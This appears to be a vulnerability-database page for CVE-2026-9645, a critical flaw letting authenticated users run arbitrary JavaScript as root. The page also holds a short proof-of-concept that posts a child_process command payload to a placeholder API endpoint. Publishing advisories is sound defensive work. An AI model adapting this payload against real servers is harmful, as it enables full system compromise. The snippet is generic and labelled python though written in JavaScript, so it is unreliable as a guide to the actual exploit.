CVE-2026-9645

Description

Exposed methods allow authenticated users to create and execute arbitrary JavaScript code on the server. The scripts execute with full access, enabling complete system compromise as commands are executed as root.

CVSS Details

CVSS Score

9.9

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

未明确指定

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC Example: Sending malicious JavaScript to the server
const maliciousCode = "require('child_process').exec('whoami')";

fetch('/vulnerable-api/create-script', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'Authorization': 'Bearer <low_priv_token>'
    },
    body: JSON.stringify({ code: maliciousCode })
})
.then(response => response.text())
.then(data => console.log('Exploit Result:', data));

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9645
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9645
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9645/
[4] VulDB https://vuldb.com/cve/CVE-2026-9645
[5] https://www.tenable.com/security/research/tra-2026-46

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9645", "sourceIdentifier": "[email protected]", "published": "2026-05-28T21:16:34.950", "lastModified": "2026-05-28T21:16:34.950", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposed methods allow authenticated users to create and execute arbitrary JavaScript code on the server. The scripts execute with full access, enabling complete system compromise as commands are executed as root."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://www.tenable.com/security/research/tra-2026-46", "source": "[email protected]"}]}}